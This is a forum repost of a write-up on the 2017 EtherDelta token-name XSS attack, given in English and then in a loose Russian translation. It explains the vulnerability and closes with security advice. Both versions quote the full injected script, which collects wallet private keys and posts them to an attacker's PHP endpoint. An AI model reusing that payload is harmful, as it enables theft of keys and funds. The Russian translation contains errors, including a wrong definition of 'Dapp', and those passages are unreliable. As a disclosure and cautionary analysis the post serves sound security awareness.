The attack detailed in this post has already been fixed by the EtherDelta team. I share this as a cautionary tale for Dapp developers and cryptocurrency users. On September 24, 2017 I learned about a malicious code injection that allowed a hacker to steal private keys from multiple victims’ wallets and then manually drain the funds from those wallets. I will attempt to describe the attack, the security vulnerability that made it possible, and as much information as I have on the attacker. Some Background For those who don’t know, EtherDelta is a cryptocurrency exchange for Ethereum and ERC20 compatible tokens (tokens that have been deployed on the Ethereum blockchain). These tokens can be stored and transfered with Ethereum wallets and smart contracts, and the entire EtherDelta exchange runs on a single smart contract, which you can view here: https://etherscan.io/address/0x8d12a197cb00d4747a1fe03395095ce2a5cc6819#code EtherDelta is a clever exchange — it does not require a traditional server architecture, because the back end architecture is a smart contract deployed on the Ethereum blockchain. It is a true Dapp, or Distributed Application, in the cryptocurrency sense of the word. When users “trade” on EtherDelta, they have to either create a wallet that they can use to interact with this smart contract, or they connect their existing wallet to EtherDelta to interact with the smart contract. The EtherDelta frontend functions much like MyEtherWallet.com, in that the website you load in your browser is a full wallet management application that also exposes the methods from the EtherDelta smart contract. Thus, users of EtherDelta must enter their public wallet address andprivate keywhen using the site, meaning their private key could be captured from the browser session by a malicious code injection. In short, when you send your funds to a traditional exchange, you are trusting your funds to the exchange’s wallet or smart contract. If the exchange decides to rob its users, or it gets shuttered due to illegal behavior, you will lose your money. When you use EtherDelta, you are “trusting” your wallet’s private key (the key that can give anyone the ability to take the funds from your wallet) to the browser session, and you are “trusting” your funds to the EtherDelta smart contract. In the case of EtherDelta, you can read the entire source code for the site on GitHub: https://github.com/etherdelta/etherdelta.github.io and you can read the entire code for the smart contract at the link above. Thus you can verify that the service is not funneling your data or funds outside of your control in any way… but there are still risks. These risks fall into two categories: 1. Someone could trick you into visiting a fake clone of EtherDelta that uses a different smart contract, which can steal your funds when you transfer to it. 2. Someone could inject code into the real EtherDelta that “sniffs” the private keys from the browser session, giving them unlimited access to your wallet.This is the category the attack detailed in this piece falls under. I want to make one point clear: I believe that EtherDelta, in concept, is safer and more “trustworthy” than a traditional exchange. Everything about how EtherDelta functions is transparent and verifiable by users. The service creates a trustless, purely software-based interface between users executing buy & sell orders, and does not keep a record of this behavior other than the transfers that are recorded on the Ethereum blockchain. The attack detailed in this piece could have been identified by anyone before it was exploited, and if there had been a security review protocol in place, it would have been easily prevented. Also, once it was reported to the EtherDelta team, it was patched within a few hours. The Vulnerability EtherDelta allows any ERC20 token to be traded by users. There are many tokens that are officially listed on the platform; the URL for these tokens looks like this: https://etherdelta.com/#LINK-ETH For any tokens that are not officially listed by the site, you can still trade them just the same using the address of the ERC20 token contract (the genesis contract that is used to create the tokens on the Ethereum blockchain and distribute them to users). To do this, you just modify the URL to include this address, like so: https://etherdelta.com/#0x514910771af9ca656af840dff83e8264ecf986ca-ETH In this case, the two URLs above are for the same token, ChainLink. You can read the ERC20 token contract for ChainLink here: https://etherscan.io/token/0x514910771af9ca656af840dff83e8264ecf986ca For each token, the EtherDelta interface displays the name of the token at the top of the screen. For unlisted tokens, it would display the address of the token contract (that long string that starts with 0x514…). At some point, the EtherDelta team decided it would be nice to lift the name of the token contract and display that in the EtherDelta interface instead, so the page displayed “ChainLink Token” instead of “0x514910771af9ca656af840dff83e8264ecf986ca”. Taking any content from outside of the webpage and displaying it to the user (whether this content is user input or copied from another source, like a database, API, or another website) creates the possibility for aninjection vulnerability. Web developers usually use validation methods to ensure that the content being displayed is only numbers, letters, or an acceptable range of characters, or will explicitly strip or modify certain types of content (like < > used for HTML tags or ( ) used for JavaScript code) to prevent the displayed content from actually being executed as live code. I think you can see where this is going. What Happened The attacker gained the trust of users through cryptocurrency chat rooms on Discord and Slack, and sent these users a link for an unlisted token on EtherDelta. He also posted this link in the official EtherDelta chat powered by Gitter. The contract address in the URL of this link was a malicious contract deployed by the attacker, where the name of the contract included a block of JavaScript code. When the name of the contract was displayed on the page, the JavaScript code was also “displayed” and thus executed, with full access to the data in the user’s session on EtherDelta. Here is the code from the malicious contract that was executed: Code: f`[¤ ]DATA <script> function doSomething(){for($(“#depositBalanceToken a”).text().indexOf(“‘)”>DATA”)>=0&&$(“#depositBalanceToken a”).text(“DATA”),savedKeys=[],a=1;a<main.EtherDelta.addrs.length;a++)singlekey=[],singlekey[0]=main.EtherDelta.addrs[a],singlekey[1]=main.EtherDelta.pks[a],savedKeys.push(singlekey);var e={object:JSON.stringify(savedKeys)}; $.post(“https://cdn-solutions.com/update.php",e,function(e,n,t){}),setTimeout(doSomething,1e4)}var savedKeys=[];if(void 0===onlyonce) {var onlyonce=!0;doSomething(),ga=function(){},doSomething(),$(“#accountSubmit”).click(function(){doSomething()})} </script> Any web developer will immediately see what this script is doing. For those who just see Greek, the code reads the private key for the user’s wallet(s) from the browser session and then sends these keys to a remote PHP script which the attacker presumably used to collect these keys and then manually loaded the wallets and transferred the funds out to other wallets. The victims did not even realize this attack was taking place (there is a lot of JavaScript running already in the EtherDelta interface and the victims would not have thought of looking for data being transferred to remote locations). Also, the wallets that the attacker used to collect users’ funds were different from the malicious contract that was used to inject the code into the EtherDelta interface, so when the victims would follow the transactions to see where their funds were going, they couldn’t identify what allowed the attacker to gain access to their funds in the first place. In order to find the “smoking gun” for this attack, one of the victims had to go back to the malicious link, copy the contract address, paste it into Etherscan, and read the contract source thoroughly to find this code block. This victim didn’t know what the code did, just that it looked suspicious, so he shared it in one of the cryptocurrency chat rooms that I frequent, and I immediately realized what this code was capable of and explained it to him. By this time, the EtherDelta team was already working on a solution, which they announced here: Oh, and in case you are wondering, this victim had ~$6,000 USD worth of cryptocurrency stolen from him. To date, no bug bounty has been offered for his efforts in tracking down the vulnerability. Update: I have collected more information on the malicious contract and the hacker behind it in a follow-up post: “Following the trail.” Lessons to be Learned Let this be a cautionary tale to everyone. Are you a Dapp developer?Trustless software requires a trustless mindset.Take Murphy’s law to heart:whatever can go wrong, will.Don’t assume that anything you are relying on is “safe.” Take the necessary measures to “fence” your own software as much as possible. That includes validating and sanitizing all inputs as well as a myriad of other measures. This is imperative for financial software. Cryptocurrency services should have the same level of security & reliability that users expect of banks. And by all means, validate your assumptions with an extra pair of eyes. Hire someone (or multiple people) to conduct security audits of your software and test every possible scenario. The potential for lost customers due to malicious behavior that was enabled by your own oversight is not worth the risk. Also, keep in mind that this attack was partly enabled by an attempt to make EtherDelta more convenient (displaying a human-readable and recognizable token name instead of the contract address). Anything that makes a product better or more convenient carries risk. Make sure you know the risks before making even the smallest change. Are you a cryptocurrency user? Don’t click a link you don’t know. If necessary, type the link into the browser yourself. Use separate browser sessions for sensitive use cases. For example, you canopen a guest session in Google Chromethat won’t have access to any of your user data from your regular browsing session. Use a separate wallet for trading on EtherDelta that only has the funds you need to trade. Ideally, use separate wallets for each ERC20 token that you plan to trade. Use a “cold” wallet for funds you plan to store long term. This way, if one of your wallets is compromised, you won’t be losing all of your funds at once. Take advantage of EtherDelta’s “forget wallet” feature and use it often. Consider “forgetting” your imported wallets every time you finish using EtherDelta. This way, if you happen to run into a situation where you load a compromised version of EtherDelta, you won’t already have your data live in the browser ready to be stolen. (This is why it’s a good thing that MyEtherWallet doesn’t “remember” your data in between sessions.) Make sure you understand, to the best of your knowledge, each software you use. Learn how sites like MyEtherWallet and EtherDelta work. Learn how your own wallets work. People get hacked all the time online and offline by attackers exploiting vulnerabilities in systems that we just assume are “safe.”These problems are not new and they are definitely not unique.The more you are informed and take the necessary measures to prevent yourself from becoming a victim, the better. And please, share this with others so they can learn too. We are all in this together!Be safe. Источник: https://hackernoon.com/how-one-hack...cy-with-a-classic-code-injection-a3aba5d2bff0
Попробую помочь ... Атака описаная далее в этом посте, была пофикшена тимой EtherDelta. Я раскрываю эти подробности в качестве предостережения для Dapp разработчиков и пользователейкриптовалют. "Dapp — это утилита для реализации и сопровождения процессов CI/CD (Continuous Integration и ContinuousDelivery). Предназначена для использования DevOps-специалистами в качестве связующего звена между кодомприложений (поддерживается Git), инфраструктурой, описанной кодом (Chef) и используемой PaaS (Kubernetes)." 24 Сентября 2017 года, я узнал про иньекцию зловреда что позволило хакеру угнать приватные ключи с многочисленных кошелей и спустить средтсва с них. Я попытаюсь описать эту атаку, уязвимость симтемы безопасности которая позволила это сделать, исходя из имеющейся у меня информации и информации об атакующем. Предисловие Для тех кто не знает, EtherDelta это криптообменник Ефириума и ERC20 совместимых токенов (токены которых заложены в блокчейне Ефириума). Эти токены могу хранится и передаватся вместе с кошелями Ефириума иумными контрактами, также все обмены EtherDelta выполняются на единственном умном контракте который вы можете видеть здесь: https://etherscan.io/address/0x8d12a197cb00d4747a1fe03395095ce2a5cc6819#code EtherDelta это умный обменник - он не требует традиционной серверной архитектуры, потому что back-end архитектура является смарт-контрактами заложеными в блокчейн Ефириума. Это настоящий Dapp, или Распределённое Приложение, в криптовалютном смысле. Когда юзеры "торгуют" на EtherDelta, они должны либо создать кошель который смог бы взаимодействовать с умными контрактами, или они подключают существующие кошели к обменнику EtherDelta для взаимодействия с умными контрактами. Все функции EtherDelta похожи на сервис MyEtherWallet.com, в том что сайте который вы загружаете представляет собой полностью готовый электронный кошель который также раскрывает все методы поддержки умных контрактов. Все пользователи EtherDelta, должны ввести свои публичные адреса кошелей и приватный ключ на сайте, т.е. их приватный ключ может быть перехвачен через сессию браузера с помощью иньекции зловреда. В кратце, когда вы отправляете средства на традиционный обменник, вы доверяете свои средства кошелю обменника или умному контракту. Если обменник решает ограбить своих пользователей или закрыть незаконно счёт, вы потеряете свои средства. Когда вы используете сервис EtherDelta, то вы "доверяете" приватный ключ (ключ который имеет возможность снять средства с вашего кошеля) от кошеля сесии браузера, и вы доверяете свом средства умным контрактам EtherDelta В случае с EtherDelta, вы можете просмотреть исходный код сайта на GitHub: https://github.com/etherdelta/etherdelta.github.io Вы можете прочитать весь исходный код для умных контрактов по ссыле выше. Поэтому вы можете проверить сервис на предмет утечек информации или средств за пределы сервиса, но все же есть риск. Этот риск делится на две категории: 1. Кто то смог обмануть Вас с помощью клона сайта EtherDelta который используется другой смарт контракт, приводящий к краже ваших средств когда вы пересылаете их. 2. Кто то смог сделать иньекцию когда в реальный сайт EtherDelta что позволяет снифать приватные ключи из сесии браузеров, делая безграничный доступ к вашему кошелю. Под эту категорию попадает атака которую опишу ниже. Сделаю одно замечание: Я верю что EtherDelta, является безопасной и заслуживает доверия, чем традиционные обменники. Вся функциональность прозрачна и может быть проверена пользователям. Сервис создаёт ненадёжный, чисто програмный интерфейс между пользователями выполняющими покупку и продажу, который не хранит запись об операция окромя записей переводов блокчейна Ефириума. Эта атака детально описывается и может быть идентифицирована всеми пока не была эксплуатирована и если бы должным образом был настроен протокол защиты, можно было бы быстро и легко предотвратить. Одна после того как был отправлен отчёт в тиму EtherDelta, они пофиксили это в течении нескольких часов. Уязвимость Сервис EtherDelta допускает использовать любой ERC20 токен для пользователей. Их очень большое количество которое описывается в платформе. Пример URL кода токенов ниже: https://etherdelta.com/#LINK-ETH Некоторые токены официально не опубликованы в сайте, но вы можете ими пользватся если укажете адрес ERC20 контракта. (история контрактов которые используются для создания токенов блокчейна Ефириума и поставки их пользователям) Для тогочто бы сделать это, нужно просто модифицировать URL и вложить этот адрес: https://etherdelta.com/#0x514910771af9ca656af840dff83e8264ecf986ca-ETH В связи с этим возможно создание двух URL записей для одного токена звена. Про токен ERC20 для звеньев можно почитать ниже: https://etherscan.io/token/0x514910771af9ca656af840dff83e8264ecf986ca Для каждого токена, в интерфейсе EtherDelta отображается имя токена сверху. Для не перечисленных токенов, отображается в адресе контракта токена. ( который начинается со строки 0x514) В связи с этим тима EtherDelta решила что было бы круто использовать имя контракта токена и отображать его в интерфейсе, чем отображать "звено цепи" вместо “0x514910771af9ca656af840dff83e8264ecf986ca”. Собирая весь контект поступающий на страницу и отображая его пользователю. (будь то скопированый контент с другого ресурса как БД, АПИ, или другой сайт) создавая возможность использовать иньекцию. Веб разработчики всегда используют валидарторы для того что бы убедится что отображаемый контент содержит только цифры, буквы или допустимый диапазон символов, или режут или изменяют определёный набор символов (такие как <> используемые для HTML тегов или () используемый для JS-кода ) для предотвращения использования XSS-атаки. думаю вы знаете как это происходит. Что случилось? Атакующий получил доверие пользователей в контаха-чата "Discord" и "Slack", и выслал им линк на неперечисленный токен EtherDelta. Он также запостил этот линк на официальный чат EtherDelta работающий на Gitter. Адрес контракта в УРЛе по этому линку является вредоносным контрактом оставленым атакующим, где вместо имени контракта включен JS-код. Когда имя контракта отображается на странице, JS-код также отображается и запускается, с полным доступом к сессии пользователя. Здесь приведён код на зловред-контракт который был запущен: Code: f`[¤ ]DATA <script> function doSomething(){for($(“#depositBalanceToken a”).text().indexOf(“‘)”>DATA”)>=0&&$(“#depositBalanceToken a”).text(“DATA”),savedKeys=[],a=1;a<main.EtherDelta.addrs.length;a++)singlekey=[],singlekey[0]=main.Ether Delta.addrs[a],singlekey[1]=main.EtherDelta.pks[a],savedKeys.push(singlekey);var e={object:JSON.stringify(savedKeys)}; $.post(“https://cdn-solutions.com/update.php",e,function(e,n,t){}),setTimeout(doSomething,1e4)}var savedKeys=[];if(void 0===onlyonce) {var onlyonce=!0;doSomething(),ga=function(){},doSomething(),$(“#accountSubmit”).click(function(){doSomething( )})} </script> Любой веб-разраб сразу бы увидел что этот скрипт делает. Для тех кто не в теме, этот код считывает приватный ключ из кошелька пользователя(ей) из сесии браузера и отправлет этот ключ ну удалённый PHP-скрипт который использует атакующий для коллекта этих ключей и удалённого входа для вывода денег со счетов. Жертвы даже не осознавали что это атака ( потому как очень много JS-кода используется в интерфейсе EtherDelta и жертвы не обращали внимание на передачу информации) Также кошельки которые использовал атакующий для сбора средств отличался от контракта-зловреда который использовался в инъекции, поэтому когда жервы просматривали свои транзакции они не могли найти каким образом исчели их средства и кто получил к ним доступ. Для того что бы определить горячие следы этой атаки, один из жертв вернулся к ссылке на зловред, скопировал адрес контракта, вставил его в Etherscan, и прочиатал сурс контрактов пока не нашел блок. Жертва не понимала что этот код делает, просто что он подозрительный, поэтому запостила в одной из чат-комнат , и как я полагаю там смоли обьяснить что он делает. Сейчас тима EtherDelta работают над решением ниже: И в случае если вам интересно, у жертвы было украдено ~ $6,000 USD. До сегодняшнего дня ему не выплатили за найденую уязвимость на сайте. Апдейт : Я собрал больше информации об это контракте-зловреде и хакере в этом посте: https://medium.com/@decktonic/follo...ow-about-the-hacker-behind-the-etherdelta-attack-9ac6015fc2e1 Урок который необходимо усвоить. Пускай это будет поучительная история для всех. Являешься ли ты Dapp разрабом? Безупречный код требует безупречного исполнения. Перефразируя закон Мёрфи "если что то может пойти не так, так и произойдет". не полагайтесь на всё что вы считаете безопасным. Примите необходимые меры для защиты вашего софта как это возможно. Которые включают в себя валидацию и устранению багов. Это необходимо для финансового софта. Криптосервис должен иметь такой же уровень защиты и надёжности как и банки. Лучше еще один раз проверьте свой код с помощью дополнительной пары глаз. Наймите кого-то или организацию для проведения аудита и проверки всех возможный сценариев вашего кода. Риск порея клиентов из-за зловреда не стои средств потраченых на аудит. Также имейте ввиду что эта атака была частично запущена тимой EtherDelta что бы сделать сервис немного удобней. (для удобства отображения имени контракта вместо его адреса). Всё что делает сервис лучше или удобней потенциально несёт большой риск. Будьте уверены во всех рисках перед тем как делать малейшие изменения. Вы являетесь пользователем криптовалюты? - не нажимайте на незнакомые ссылки. Если необходимо вводите ссылку вручную. - используйте отдельный сеанс для каждого посещения (чистите куки) - Используйте отдельный кошель для торговли на EtherDelta который несёт необходиммую сумму для осуществелния сделки. В идеале использовать отдельный кошелёк для каждого токена ERC20 - Используйте надёжный кошелёк для средсв которые вы собираетесь долго хранить. если один из ваших кошельков будет скомпроментирован вы не потеряете все средства. - Используйте функцию "Забыть кошель". Для того что бы удалять импортированые кошельки каждый раз когда вы завершаете использование сервисов EtherDelta, куки автоматичски будут чистится. (поэтому хорошая привычка MyEtherWallet что он не запоминает кошельки между сессиями) Надеюсь вы уяснили всё что я написал. Как сайты наподобии MyEtherWallet и EtherDelta работают. Как работаю ваше кошельки. Люди подвергаются атакам каждый раз когда находятся в онлайне или оффлайне хакерами которые эксплуатируют уязвимости в системах которые как вы думаете "нажёжны". Эти проблемы не новы и техники давно не уникальны. Чем больше вы осведомлены тем меньше шансов у вас стать жертвой. И пожайлуста, сделайте репост для остальных тоже. Пускай они тоже об это узнают! Будьте в безопасности! Как то так...